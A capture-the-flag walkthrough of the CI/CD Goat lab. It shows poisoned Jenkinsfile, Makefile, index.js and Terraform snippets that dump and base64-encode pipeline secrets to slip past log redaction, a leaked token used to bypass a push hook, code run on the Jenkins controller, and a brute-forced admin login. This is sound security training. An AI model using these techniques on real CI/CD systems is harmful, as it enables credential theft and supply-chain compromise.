Warning Spoilers!

This is a write up of some of the CI/CD Goat scenarios.


Installation & Setup

Official documentation

curl -o cicd-goat/docker-compose.yaml --create-dirs https://raw.githubusercontent.com/cider-security-research/cicd-goat/main/docker-compose.yaml
cd cicd-goat
docker-compose up -d

Note: Running this may cause issues with your docker deployment, it maxed out CPU on a M1.



  1. After starting the containers, it might take up to 5 minutes until the containers configuration process is complete.
  2. Login to CTFd at http://localhost:8000 to view the challenges:
    • Username: alice
    • Password: alice
  3. Hack:
    • Jenkins http://localhost:8080
      • Username: alice
      • Password: alice
    • Gitea http://localhost:3000
      • Username: thealice
      • Password: thealice
    • GitLab http://localhost:4000
      • Username: alice
      • Password: alice1234


Login to the CTFd webpage http://localhost:8000/ using the username & password alice


White Rabbit

I’m late, I’m late! No time to say ״hello, goodbye״! Before you get caught, use your access to the Wonderland/white-rabbit repository to steal the flag1 secret stored in the Jenkins credential store.

Login to the Jenkins server http://localhost:8080/. The username and password again is alice

Looking at the jobs there is a job called wonderland-white-rabbit. The job reference a git repository Wonderland/white-rabbit. When a new commit is pushed to the repository it will trigger a Jenkins build.

Login to Gitea username & password thealice. Edit the Jenkinsfile in the Git repository and add the following lines in the stages block.

stage ('flag') {
    environment {
        DEPLOY_KEY = credentials('flag1')
    steps {
        sh 'echo $DEPLOY_KEY | base64'

Whats does that code do? It created a credential binding that adds the value flag1 as an environment variable in the job. Then in the step we echo the value and pass it into base64 because the job will automatically redact secrets.

Commit the change into a new branch and then create a merge request into main.

Once that runs the Jenkins job automatically runs it and exposes the base64 value. To decode it use this online tool.

Submit the decoded flag.

Mad Hatter

Jenkinsfile is protected? Sounds like an unbirthday party. Use your access to the Wonderland/mad-hatter repository to steal the flag3 secret.

For this challenge there are two Git repositories Wonderland/mad-hatter and Wonderland/mad-hatter-pipeline. In the first is the build code and the second contains the Jenkins pipeline.

We don’t have access to the repository with the pipeline this time. But looking at the file we can see during the make step is exposes the flag3 secret.

    steps {
      withCredentials([usernamePassword(credentialsId: 'flag3', usernameVariable: 'USERNAME', passwordVariable: 'FLAG')]) {
        sh 'make || true'

It then runs make which runs a Makefile which is in the mad-hatter repository. Lets try editing the file to expose the secret.

Add echo -n "${FLAG}" | base64 to the file to expose the encoded flag. Commit it to a new branch and merge it into the main branch.

From the console output the base64 encoded flag is returned. Use the command line tool base64 to decode the flag.

echo "Z2V0IHRoZSBmbGFnIHlvdXJzZWxmCg==" | base64 -d


If everybody minded their own business, the world would go round a deal faster than it does. Does it apply to your secrets as well? You’ve got access to the Wonderland/duchess repository, which heavily uses Python. The duchess cares a lot about the security of her credentials, but there must be some PyPi token left somewhere… Can you find it?

This challenge is less of exploiting a pipeline but instead finding exposed secrets in the git repository.

First clone the repository locally. (Cannot be a download needs to be a valid git repo)

We’ll be using the dockerized gitleaks to search for exposed secrets.

docker pull zricethezav/gitleaks:latest

docker run -v ~/Downloads/duchess:/path zricethezav/gitleaks:latest detect --source="/path" --report-path "/path/report.json"

The report has many findings but only one related to pypi. Submit the entire secret as the flag.

Cleanup rm -rf ~/Downloads/duchess



Who. Are. You? You just have read permissions… is that enough? Use your access to the Wonderland/caterpillar repository to steal the flag2 secret, which is stored in the Jenkins credential store.

For this challenge there is the Git repository Wonderland/caterpillar and two Jenkins job prod & test.

Our Gitea user does not have permissions to edit files in the repository but maybe we can fork the repository and then run our own code through that.

Fork the repository and edit the Jenkinsfile. Adding a stage to get the credential and exposing it should work once we create a new pull request.

stage ('Flag') {
    steps {
        withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'flag2', passwordVariable: 'TOKEN')]) {
            sh 'echo $TOKEN | base64'       

Create a pull request from our branch thealice:main -> WOnderland:main

When looking at the jobs (wonderland-caterpillar-test) it does not seem to have access to the secret.

ERROR: Could not find credentials entry with ID 'flag2'

Lets see what access the job has. Since we can run our own code on the server lets dump the environment variables.

stage ('Flag') {
  steps {
    sh 'env | base64'

I’m base64ing it here incase Jenkins redacts anything.

Looking through the environment variables a few things look interesting


Lets use the GIT_URL to clone the repository

# http://a644940c92efe2d1876e16a5d29e6c6d7e199b68@gitea:3000/Wonderland/caterpillar.git
git clone http://a644940c92efe2d1876e16a5d29e6c6d7e199b68@localhost:3000/Wonderland/caterpillar.git

cd caterpillar

Add the line sh 'echo $TOKEN | base64' to Jenkinsfile in the deploy step.

git add .
git commit -m "Expose flag2"

git push
#  ! [remote rejected] main -> main (pre-receive hook declined)
# error: failed to push some refs to ''

To get around the issue of declined pushed. I used the token in GITEA_TOKEN to push using the username Jenkins.

The output is base64 encoded in the console output of the Jenkins job wonderland-caterpillar-prod

Cheshire Cat

Some go this way. Some go that way. But as for me, myself, personally, I prefer the short cut. All jobs in your victim’s Jenkins instance run on dedicated nodes, but that’s not good enough for you. You are special. You want to execute code on the Jenkins Controller. That’s where the real juice is! Use your access to the Wonderland/cheshire-cat repository to run code on the Controller and steal ~/flag5.txt from its file system.

Looking at the two nodes there is the Built-In Node & agent1. On the latter node there is a label myagent.

In the Gitea Wonderland/cheshire-cat repository update the Jenkinsfile and update it to run the following to it.

pipeline {
    agent {
        node {
            label '!myagent'
    stages {
        stage ('Unit Tests') {
            steps {
                sh "cat ~/flag5.txt"

The new pipeline will run it on the agent that does not have the label (Only the built in node). And the step will print out the flag.

Open a pull request with the change and back in Jenkins it should run the pipeline.


Contrariwise, if it was so, it might be; and if it were so, it would be; but as it isn’t, it ain’t. That’s logic. Flag6 is waiting for you in the twiddledum pipeline. Get it.

Run the Jenkins job and look through the output, it seems to be running a node build pipeline. When looking through the Git repository Wonderland/twiddledee there is no Jenkinsfile but the script runs the index.js (node index.js).

Add the following line into the index.js file. It will get the environment variable FLAG6 and base64 encode it before exposing it to the console output.


Commit the change directly to main. The job runs the newest release so from the release tab create a new version (ex 1.1.1).

Now just base64 decode the string from the console output.


Everybody has won, and all must have prizes! The Dodo pipeline is scanning you. Your mission is to make the S3 bucket public-readable without getting caught. Collect your prize in the job’s console output once you’re done.

The way I went around bypassing the terraform security controls was to use a provisioner to echo the flag into a file. Add the following into a file ending in .tf. When the pipeline is triggered it will echo the base64 encoded flag into the file. Then it is read by the local_file into a variable that is outputted in the pipeline.

resource "null_resource" "read_environment_var_value_via_cli" {
  triggers = { always_run = "${timestamp()}" }
  provisioner "local-exec" {
    command = "echo $FLAG7 | base64 > foo.bar"

data "local_file" "prometheus-ip" {
  depends_on = [null_resource.read_environment_var_value_via_cli]
  filename = "foo.bar"

output flag {
  value = data.local_file.prometheus-ip.content

To retrieve the flag base64 decode the output twice. (I think they already to that for us)

The way the maintainers solve the challenge is to overwrite Checkov’s default settings.



Who stole those tarts? Your goal is to put your hands on the flag8 credential. But not so fast… These are System credentials stored on Jenkins! How would you access THAT?! A permission to admin agents is something you might find useful…

Not a fan of this one because it makes you have to brute force the login.

Looking through the users there is an you, alice, SYSTEM, admin, and knave users. Looking at the descriptions the knave user says Agents admin.

If you brute force it password is rockme.

Once logged in add a new node localhost:8080/computer/new

  • Name : agent2
  • Type : Permanent Agent

Click next and add the required inputs

  • Remote root dir : /home/jenkins
  • Specify the remote host
  • Credentials agent/*****
  • If used custom port

Then on the remote host you should capture all connection traffic. I did not get any luck with being able to capture the credentials as described in the solution document. Not the best challenge felt like a lot of guess work and brute force.

There are some other hard challenges, but I have not gotten to them yet.